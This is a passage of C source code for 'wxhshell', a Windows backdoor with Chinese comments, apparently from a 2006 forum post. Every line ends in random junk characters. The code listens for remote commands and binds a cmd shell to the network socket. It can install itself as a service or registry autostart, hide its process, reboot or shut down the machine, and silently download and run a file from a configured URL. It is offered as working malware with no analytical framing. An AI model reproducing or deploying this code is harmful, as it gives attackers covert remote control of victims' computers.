      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yIL6Sb  
    break; z_^Vgb]  
  } l$~3_3+  
  // 安装 Hq*\,`b&  
  case 'i': { V9 dRn2- [  
    if(Install()) M;\iL?,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qQu}4Ye>  
    else }9GD'N?4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |ZAR!u&0  
    break; 5DEK`#*  
    } 0 xUw}T6  
  // 卸载 VM1`:1Z:$  
  case 'r': { e bSG|F  
    if(Uninstall())  TM1isZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M6 W {mek  
    else \L"Vx9xT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1'[RrJ$Q  
    break;  0#AS>K5  
    } F?wfh7q  
  // 显示 wxhshell 所在路径 /7 CF f&4  
  case 'p': { d@a FW  
    char svExeFile[MAX_PATH]; *,:>EcDr  
    strcpy(svExeFile,"\n\r"); q*|H*sS  
      strcat(svExeFile,ExeFile); Sd !!1a s  
        send(wsh,svExeFile,strlen(svExeFile),0); #JFTD[1  
    break; 3$u 3ssOL  
    } `*J;4Ju@  
  // 重启 \<}4D\qz  
  case 'b': { v\3:R,|'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); arR9uxP  
    if(Boot(REBOOT)) D+Ke)-/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6fozc2h@x%  
    else { }Ss]/ _t  
    closesocket(wsh); xpWx6  
    ExitThread(0); X2? ^t]-N  
    } ZH:-.2*cj  
    break; mUmU_L u8  
    } *v}8n95*2  
  // 关机 s[ ze8:  
  case 'd': { )AxgKBW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F%t_9S,)O  
    if(Boot(SHUTDOWN)) ADTx _tE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /!l$Y?  
    else { b ?p <y`  
    closesocket(wsh); X0\2qD  
    ExitThread(0); .$r=:k_d  
    } )"W(0M] >  
    break; Z r}5)ZR.  
    } _.9):i2<SF  
  // 获取shell CEwMPPYnD  
  case 's': { |,3>A@  
    CmdShell(wsh); TSGJ2u5ie%  
    closesocket(wsh); g[Z$\A?ZbZ  
    ExitThread(0); uANG_sX^n  
    break; cjf 8N:4N0  
  } i'w8Li  
  // 退出 .^aakM  
  case 'x': { MM}lW-q;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *&f^R}O  
    CloseIt(wsh); t<)Cbple\  
    break; 0pO{{F  
    } T<hS  
  // 离开 s$cr|p;7#  
  case 'q': { 'MM%Sm,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 81gcM?  
    closesocket(wsh); 6zo'w Wc3  
    WSACleanup(); ,g.*Mx`-  
    exit(1); |[/<[@\''  
    break; DChqcdx~~  
        } {XHAQ9'  
  } PTU_<\  
  } 0rt@4"~~w  
7$;#-l  
  // 提示信息 y$ L@!r/s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k<.$7Pl3U  
} S}O>@ %  
  } [~3[Tu( C  
b`%3>  
  return; !cLdoX  
} Vs[A  
',7LVT7  
// shell模块句柄 :]Nn(},  
int CmdShell(SOCKET sock) kPhdfF*Q  
{ jL }bGD  
STARTUPINFO si; /5Od:n  
ZeroMemory(&si,sizeof(si)); TY."?` [FK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7L%JCH#F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Nl4,c[$C  
PROCESS_INFORMATION ProcessInfo; -0QoVGw  
char cmdline[]="cmd"; b^*9m PP  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #?OJ9pyG'  
  return 0; *oby(D"p  
} \# p@ef  
/|<Pn!}J  
// 自身启动模式 Kyf,<z F  
int StartFromService(void) e=>:(^CS   
{ Y X`BX$  
typedef struct ^(j}'p,  
{ )8cb @N  
  DWORD ExitStatus; K nl`[Nl  
  DWORD PebBaseAddress; `"(FWK=8)"  
  DWORD AffinityMask; l}bAwJ?  
  DWORD BasePriority; SmpYH@  
  ULONG UniqueProcessId; &z;bX-"E  
  ULONG InheritedFromUniqueProcessId; M_I.Y1|  
}   PROCESS_BASIC_INFORMATION; *1H8 &  
j8cIpbp8x  
PROCNTQSIP NtQueryInformationProcess; ^n|yfvR  
3X;k c>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w#XD4kwQG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "{;E+-/ aL  
wtl3Ex,DO  
  HANDLE             hProcess; =JkPE2mU  
  PROCESS_BASIC_INFORMATION pbi; %O69A$Q[m  
8l1s]K qr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1fK]A*{p  
  if(NULL == hInst ) return 0; 43VBx<"  
NJNS8\4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _%@dlT?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _VUG!?_D$5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ){nOM$W  
^xyU *A}D  
  if (!NtQueryInformationProcess) return 0; afw`Heaa2(  
mn].8 F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -wsoJh  
  if(!hProcess) return 0; 7C&J88|\  
o7r7HmA@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %`_Rl>@K=  
khc1<BBsT  
  CloseHandle(hProcess); n5DS  
fN_qJm#:$y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P=[_W;->}  
if(hProcess==NULL) return 0; E/3i _R  
_qxBjB4t"a  
HMODULE hMod; 0!Vza?9  
char procName[255]; E0*KKo%  
unsigned long cbNeeded; q4EOI  
O"GuVC}B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Mp?Gi7o=  
:MP*Xy\7&J  
  CloseHandle(hProcess); w+wg)$i  
b9xvLR8  
if(strstr(procName,"services")) return 1; // 以服务启动 )ZW[$:wA  
\ xJ_ )r  
  return 0; // 注册表启动 j* ZU}Ss  
} yPd6{% w  
8FIk|p|l^  
// 主模块 8345 H  
int StartWxhshell(LPSTR lpCmdLine) T4nWK!}z  
{ 9+iz+  
  SOCKET wsl; .6=;{h4cpB  
BOOL val=TRUE; 0clq}  
  int port=0; &7 K=  
  struct sockaddr_in door; Vb8Qh601  
q'Nafa&a)  
  if(wscfg.ws_autoins) Install(); E !9(6G4  
)H>?K0I  
port=atoi(lpCmdLine); Kqz+:E8D  
@<jm+f"MP  
if(port<=0) port=wscfg.ws_port; j"A<qI  
.iC!Ttr  
  WSADATA data; N/!(`Z,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]$,3vYBf  
oF~+L3&X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :4r{t?ytXw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dBkM~"  
  door.sin_family = AF_INET; a&Z,~Vp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pav W@  
  door.sin_port = htons(port); Q!!u=}GYK  
i-}T t<^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TILH[r&Jg  
closesocket(wsl); JvsL]yRT  
return 1; }BUm}.-{u,  
} RW<10:  
2 :4o`o  
  if(listen(wsl,2) == INVALID_SOCKET) { :Xs4C%H;  
closesocket(wsl); 4wN5x[vp  
return 1; 6M ;lD5(>  
} s f.z(o  
  Wxhshell(wsl); 6V"u ovN2  
  WSACleanup(); I+F >^4_d  
!rF1Remw  
return 0; 0 @um  
!9{hbmF#  
} )MF 4b ][  
:-WNw n  
// 以NT服务方式启动 *b_Iby-ZD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }4T`)  
{ W ' ~s  
DWORD   status = 0; D59q/@  
  DWORD   specificError = 0xfffffff; UpPl-jeT  
ZWni5uF-c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f62rm[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l^^Z}3^Rk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;.Ld6JRunw  
  serviceStatus.dwWin32ExitCode     = 0; I4|"Ztw  
  serviceStatus.dwServiceSpecificExitCode = 0; }Q*J!OH  
  serviceStatus.dwCheckPoint       = 0;  LJ;&02w@  
  serviceStatus.dwWaitHint       = 0; tZv^uuEp3  
$@vB<(sk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 052Cf dq  
  if (hServiceStatusHandle==0) return; ~ MsHV%  
!RPE-S  
status = GetLastError(); cs7^#/3<  
  if (status!=NO_ERROR) 2$MoKO x8$  
{ bIlNA)g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &uF~t |!c  
    serviceStatus.dwCheckPoint       = 0; 1KY0hAx  
    serviceStatus.dwWaitHint       = 0; 5 1N/XEk  
    serviceStatus.dwWin32ExitCode     = status; =''WA:,=h  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ir-QD !!<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); XdmpfUR,13  
    return; P*B @it  
  } 2 6DX4  
Hj(K*z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c|(J%@B)  
  serviceStatus.dwCheckPoint       = 0; Caz5q|Oo  
  serviceStatus.dwWaitHint       = 0; Lq$ig8V:O7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yMu G? x+  
} (7N!Jvg9  
i=*H|)  
// 处理NT服务事件,比如:启动、停止 >tPf.xI|l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {8qcM8  
{ 1Jdx#K  
switch(fdwControl) >kxRsiKV  
{ U?d  I  
case SERVICE_CONTROL_STOP: g4Q' Fub+I  
  serviceStatus.dwWin32ExitCode = 0; P(FlU]q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5|~nX8>  
  serviceStatus.dwCheckPoint   = 0; 6K )K%a,9  
  serviceStatus.dwWaitHint     = 0; AE+BrN +"2  
  { H2H[DVKv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XI |k,Ko<  
  } Rnoz[1y?0  
  return; %[5GGd5w  
case SERVICE_CONTROL_PAUSE: ke!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S~ Z<-@S  
  break; )/vom6y*   
case SERVICE_CONTROL_CONTINUE: !h4A7KBYG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,Jh#$mil  
  break; I]i( B+D  
case SERVICE_CONTROL_INTERROGATE: 7y3WV95Z\  
  break; =.CiKV$E  
}; BgD3P.;[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fI`gF^u(  
} l$pz:m]Id  
QuG"]$  
// 标准应用程序主函数 Sgv_YoD?-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y#Q!mbp  
{ [OTn>/W'  
zwU[!i)  
// 获取操作系统版本 W7'<Jom|?  
OsIsNt=GetOsVer(); ']>9 /r#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?}v/)hjp=?  
99`w'Nlk  
  // 从命令行安装 [U",yN]d  
  if(strpbrk(lpCmdLine,"iI")) Install(); 343d`FRa}  
DO *  
  // 下载执行文件 +v 3: \#  
if(wscfg.ws_downexe) { Su7N?X!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K:jn^JN$  
  WinExec(wscfg.ws_filenam,SW_HIDE); i!}6FB Z  
} Axns  
S<NK!89  
if(!OsIsNt) { akt7rnt?i  
// 如果时win9x,隐藏进程并且设置为注册表启动 bEj}J_#  
HideProc(); \?R#ZxP@  
StartWxhshell(lpCmdLine); EnlAgL']|  
} :H3/+/x  
else U;WwEta ]  
  if(StartFromService()) Q.$Rhjb  
  // 以服务方式启动 jc)7FE  
  StartServiceCtrlDispatcher(DispatchTable); Ky"F L   
else zG<<MR/<  
  // 普通方式启动 tuIZYp8tIN  
  StartWxhshell(lpCmdLine); ,pI9=e@O/z  
ohq Thl  
return 0; $l"%o9ICG  
}
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只看该作者 1 发表于: 2006-10-10
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